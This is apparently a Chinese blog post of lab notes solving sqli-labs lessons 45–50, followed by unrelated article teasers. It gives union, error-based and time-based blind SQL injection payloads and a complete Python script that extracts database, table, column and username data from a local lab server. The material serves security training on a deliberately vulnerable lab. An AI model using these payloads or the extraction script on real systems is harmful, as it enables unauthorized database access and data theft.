sqli-labs(9)

45.

不会显示报错信息通过or 1验证

在密码处输入')or('1

登录成功

')union select 1,2,3 #

')union select 1,database(),3 #

')union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 #

')union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3 #

')union select 1,(select group_concat(username) from security.users),3 #

46.

单双引号都报错’

后面是order by使用and 1=1 是验证不了的

1 and(extractvalue(1,concat(0x5c,database())))
1 and(updatexml(1,concat(0x7e,database(),0x7e),1))

1 and(extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema='security'))))
1 and(updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1))

1 and(extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))))
1 and(updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1))

1 and(extractvalue(1,concat(0x5c,(select group_concat(username) from security.users))))
1 and(updatexml(1,concat(0x7e,(select group_concat(username) from security.users),0x7e),1))

47.

1'失败

1‘ --+成功

1“成功 

1'and(extractvalue(1,concat(0x5c,database()))) --+
1'and(updatexml(1,concat(0x7e,database(),0x7e),1)) --+

1'and(extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema='security')))) --+
1'and(updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)) --+

1'and(extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')))) --+
1'and(updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)) --+

48.

发现页面无报错回显,这里还是order by 无法使用union

使用延时注入

1 and if(substr(database(),1,1)='s',sleep(2),0)

用脚本进行爆破

import requests,time

def database():
    database_name = ''
    charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
    while True:
        for char in charset:
            payload = f"1 and if(substr(database(),{len (database_name) +1},1)='{char}',sleep(2),0) --+"
            url = f'http://192.168.1.200:86/Less-48/?sort={payload}'
            start_time = time.time()
            rsp = requests.get(url)
            end_time = time.time()
            rsp.time = end_time - start_time
            if rsp.time >= 2:
                database_name += char
                print(f"数据库名称为:{database_name}")
                break
        else:
            break
    return database_name

datas = database()
print("最终数据库名称为:",datas)

1 and if(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1)='e',sleep(2),0) --+
def tablename():
    table_name =''
    charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
    while True:
        for char in charset:
            payload = f"1 and if(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),{len(table_name) +1},1)='{char}',sleep(2),0) --+"
            url = f'http://192.168.1.200:86/Less-48/?sort={payload}'
            start_time = time.time()
            rsp = requests.get(url)
            end_time = time.time()
            rsp.time = end_time - start_time
            if rsp.time >= 2:
                table_name += char
                print(f"表名称为:{table_name}")
                break
        else:
            break
    return table_name

tables =  tablename()
print("最终表名称为:",tables)

1 and if(substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,1)='i',sleep(2),0) --+
def columnname():
    column_name = ''
    charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
    while True:
        for char in charset:
            payload = f"1 and if(substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),{len(column_name) +1},1)='{char}',sleep(2),0) --+"
            url = f'http://192.168.1.200:86/Less-48/?sort={payload}'
            start_time = time.time()
            rsp = requests.get(url)
            end_time = time.time()
            rsp.time = end_time - start_time
            if rsp.time >= 2:
                column_name += char
                print(f"列名称为:{column_name}")
                break
        else:
            break
    return column_name

columns = columnname()
print("最终列名称为:",columns)

1 and if(substr((select username from security.users limit 1,1),1,1)='a',sleep(2),0) --+
def datas():
    data  = ''
    charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
    while True:
        for char in charset:
            payload = f"1 and if(substr((select username from security.users limit 1,1),{len(data) +1},1)='{char}',sleep(2),0) --+"
            url = f'http://192.168.1.200:86/Less-48/?sort={payload}'
            start_time = time.time()
            rsp = requests.get(url) 
            end_time = time.time()  
            rsp.time = end_time - start_time    
            if rsp.time >= 2:
                data += char
                print(f"数据为:{data}")
                break
        else:
            break
    return data
das = datas()
print("最终数据为:",das)
   

完整的脚本

import requests,time

def database():
    database_name = ''
    charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
    while True:
        for char in charset:
            payload = f"1 and if(substr(database(),{len (database_name) +1},1)='{char}',sleep(2),0) --+"
            url = f'http://192.168.1.200:86/Less-48/?sort={payload}'
            start_time = time.time()
            rsp = requests.get(url)
            end_time = time.time()
            rsp.time = end_time - start_time
            if rsp.time >= 2:
                database_name += char
                print(f"数据库名称为:{database_name}")
                break
        else:
            break
    return database_name

datas = database()
print("最终数据库名称为:",datas)

         
def tablename():
    table_name =''
    charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
    while True:
        for char in charset:
            payload = f"1 and if(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),{len(table_name) +1},1)='{char}',sleep(2),0) --+"
            url = f'http://192.168.1.200:86/Less-48/?sort={payload}'
            start_time = time.time()
            rsp = requests.get(url)
            end_time = time.time()
            rsp.time = end_time - start_time
            if rsp.time >= 2:
                table_name += char
                print(f"表名称为:{table_name}")
                break
        else:
            break
    return table_name

tables =  tablename()
print("最终表名称为:",tables)

def columnname():
    column_name = ''
    charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
    while True:
        for char in charset:
            payload = f"1 and if(substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),{len(column_name) +1},1)='{char}',sleep(2),0) --+"
            url = f'http://192.168.1.200:86/Less-48/?sort={payload}'
            start_time = time.time()
            rsp = requests.get(url)
            end_time = time.time()
            rsp.time = end_time - start_time
            if rsp.time >= 2:
                column_name += char
                print(f"列名称为:{column_name}")
                break
        else:
            break
    return column_name

columns = columnname()
print("最终列名称为:",columns)

def datas():
    data  = ''
    charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
    while True:
        for char in charset:
            payload = f"1 and if(substr((select username from security.users limit 1,1),{len(data) +1},1)='{char}',sleep(2),0) --+"
            url = f'http://192.168.1.200:86/Less-48/?sort={payload}'
            start_time = time.time()
            rsp = requests.get(url) 
            end_time = time.time()  
            rsp.time = end_time - start_time    
            if rsp.time >= 2:
                data += char
                print(f"数据为:{data}")
                break
        else:
            break
    return data
das = datas()
print("最终数据为:",das)
   

49.

和上面比多了’

50.

1 and(extractvalue(1,concat(0x5c,database())))
1 and(updatexml(1,concat(0x7e,database(),0x7e),1))

1 and(extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema='security'))))
1 and(updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1))

1 and(extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))))
1 and(updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1))

1 and(extractvalue(1,concat(0x5c,(select group_concat(username) from security.users))))
1 and(updatexml(1,concat(0x7e,(select group_concat(username) from security.users),0x7e),1))

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/208458.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

使用libssh2建立安全的SSH连接:C++开发者的综合指南

使用libssh2建立安全的SSH连接:C开发者的综合指南 一、介绍二、准备工作三、建立SSH连接3.1、初始化libssh2库3.2、连接到远程主机3.4、完整示例 四、文件传输4.1、上传文件到远程主机4.2、下载文件到本地主机 五、总结 一、介绍 SSH和安全连接的重要性是不可忽视的…

【CAD二次开发】标注箭头,获取修改标注箭头图块

常见的的标注箭头有以下种类 public static List<string> ArrowBlock = new List<string>(){" ","_CLOSEDBLANK&

dubbo框架技术文档-《spring-boot整合dubbo框架搭建+配置文件》框架的本地基础搭建

阿丹&#xff1a; 目前流行的微服务更多的就是dubbo和springcould微服务。之前阿丹没有出过dubbo相关的文章&#xff0c;因为之前接触springcould的微服务概念比较多一点&#xff0c;但是相对于springcould来说&#xff0c;springcould服务之间的调用是大多是使用了nacos&#…

中学老师求职简历(精选9篇)

以下简历内容以中学老师招聘需求为背景&#xff0c;我们整理并修改了9篇全面、专业且具有参考价值的简历案例&#xff0c;大家可以灵活借鉴&#xff0c;希望能帮助大家在众多候选人中脱颖而出。 中学老师简历下载&#xff08;可在下制作下载&#xff09;&#xff1a;百度幻主简…

保障美味不失传,上海迅软DSE为餐饮业提供一键式数据高效备份服务!

如今&#xff0c;随着经济技术的飞速发展&#xff0c;餐饮行业对各项业务与财务数据的容灾能力要求越来越高。信息数据不仅要做好安全备份&#xff0c;而且出现故障后&#xff0c;还要能及时、准确、安全、完整的进行恢复。 餐饮行业数据安全存在的隐患 1.餐饮行业各项业务与财…

剪辑必备AI去水印神器,手把手教你轻松消除图片水印

当我们的剪辑制作过程中&#xff0c;前期需要准备图片或视频素材&#xff0c;水印往往成为了我们首要解决的难题。 幸运的是&#xff0c;今天我为大家介绍一款在线AI去水印神器--水印云。 水印云是一个的在线去除图片水印工具。仅需三步&#xff0c;即可使用强大的 AI 技术从图…

Django回顾【四】之模型层

目录 一、基本使用 1、ORM框架 2、创建表 二、常用和非常用字段 三、常用和非常用字段参数 四、settings配置 五、基本操作 5.1 增加表记录 5.2 删除表纪录 5.3 更新表纪录 5.4 查询表纪录 六、 多表操作-创建关系 七、基于对象的跨表查询 八、基于链表的跨表…

LeetCode Hot100 287.寻找重复数

题目&#xff1a; 给定一个包含 n 1 个整数的数组 nums &#xff0c;其数字都在 [1, n] 范围内&#xff08;包括 1 和 n&#xff09;&#xff0c;可知至少存在一个重复的整数。 假设 nums 只有 一个重复的整数 &#xff0c;返回 这个重复的数 。 你设计的解决方案必须 不修…

干货:如何拯救程序员的苦恼?

本站的同志大多都是IT行业的从业者。今天博主给大家推荐几个帮助程序员解决烦恼的网站&#xff0c;大家一定要收藏哦&#xff01; 目录 1. 图标平台——ByteDance IconPark 2. 进制转换——so json在线工具 3. 代码高亮——CodeInWord 4. 取名利器——codelf 5. 颜色图签—…

Mac右键添加通过VSCode打开

Mac右键添加通过VSCode打开 1 首先打开自动操作 进入方式 访达 – 应用程序 – 自动操作 2. 选择快速操作 3. 添加 最后 commands保存&#xff0c;可以输入自定义的名称 for f in "$" doopen -a "Visual Studio Code" "$f" done4. 找到保存的快…

引领数据趋势:2023年最值得关注的十大ETL数据集成工具

在这个数据至上的时代&#xff0c;对于以数据为驱动的组织来说&#xff0c;建立一个信息集中的强大源头是成功的关键。众多企业依靠ETL工具来管理和理解它们的数据。 ETL&#xff0c;即提取&#xff08;Extract&#xff09;、转换&#xff08;Transform&#xff09;、加载&…

Grammarly premium语法检测工具使用方法,及删除检测记录

科研写作神器&#xff1a;Grammarly—语法&#xff0c;标点&#xff0c;单词拼写错误修改。 一、背景 在写英文论文时&#xff0c;作为母语不是英语的我们&#xff0c;不可避免的存在语法错误或笔误&#xff0c;这时就需要Grammarly语法修改软件帮助我们进行修正&#xff0c…

2021年12月14日 Go生态洞察:Go 1.18 Beta 1 发布与泛型的引入

&#x1f337;&#x1f341; 博主猫头虎&#xff08;&#x1f405;&#x1f43e;&#xff09;带您 Go to New World✨&#x1f341; &#x1f984; 博客首页——&#x1f405;&#x1f43e;猫头虎的博客&#x1f390; &#x1f433; 《面试题大全专栏》 &#x1f995; 文章图文…

优化肠道菌群——对抗肌肉减少和骨质流失

谷禾健康 现代的生活工作方式大多是久坐&#xff0c;户外运动少&#xff0c;导致与骨骼肌肉相关的亚健康症状越来越普遍&#xff0c;覆盖人群越来越广。 例如长时间的低头垂肩的姿势会让竖脊肌处在伸展的位置&#xff0c;进而导致竖脊肌的无力&#xff0c;产生受伤的状况。长时…

Android 滑动按钮(开关) SwitchCompat 自定义风格

原生的SwitchCompat控件如下图&#xff0c;不说不堪入目&#xff0c;也算是不敢恭维了。开个玩笑... 所以我们就需要对SwitchCompat进行自定义风格&#xff0c;效果如下图 代码如下 <androidx.appcompat.widget.SwitchCompatandroid:id"id/switch_compat"android:…

【UGUI】Unity为下拉菜单添加选项(DropDown)

要想控制谁就把谁拿到代码里-获取组件-修改组件参数&#xff08;变量或者方法&#xff09; 代码示例&#xff1a; using System.Collections; using System.Collections.Generic; using UnityEngine; using UnityEngine.UI; using TMPro;public class UIcontrol : MonoBehavi…

使用Docker Compose搭建CIG监控平台

CIG简介 CIG监控平台是基于CAdvisor、InfluxDB和Granfana构建的一个容器重量级监控系统&#xff0c;用于监控容器的各项性能指标。其中&#xff0c;CAdvisor是一个容器资源监控工具&#xff0c;用于监控容器的内存、CPU、网络IO和磁盘IO等。InfluxDB是一个开源的分布式时序、时…

老司机们这样“玩”STM32的,你学会了吗?

老司机们这样“玩”STM32的&#xff0c;你学会了吗&#xff1f; 不要去学STM32。我不是说STM32不好&#xff0c;而是这种为了学习单片机而去学习单片机的思路不对。 你问&#xff0c;如何系统地入门学习stm32&#xff1f; 本身就是一个错误的问题。假如你会使用51 &#xff0…

c/c++概念辨析-指针常量常量指针、指针函数函数指针、指针数组数组指针

概念澄清&#xff1a; 统一规则&#xff1a; 不管是XX指针&#xff0c;还是指针XX&#xff0c;后者是本体&#xff0c;前者只是个定语&#xff0c;前者也可以替换为其他同类&#xff08;例如字符串&#xff09;&#xff0c;帮助理解。 XX指针&#xff1a; 可简单理解为&#…

在 S/4HANA、ECC 和 ERP 上轻松扩展或简化 SAP WM,并将其自动化到移动环境中

为您的 SAP WM 提供完整的本地 SAP 图形用户界面 基于原生通道架构&#xff08;NCA&#xff09;&#xff0c;iOS、Android 和手持 Scanguns 版 Liquid UI 可与 SAP WM 原生连接&#xff0c;同时保留 SAP GUI 丰富的事务处理功能。它使您无需编程即可直接从移动设备访问 MIGO、…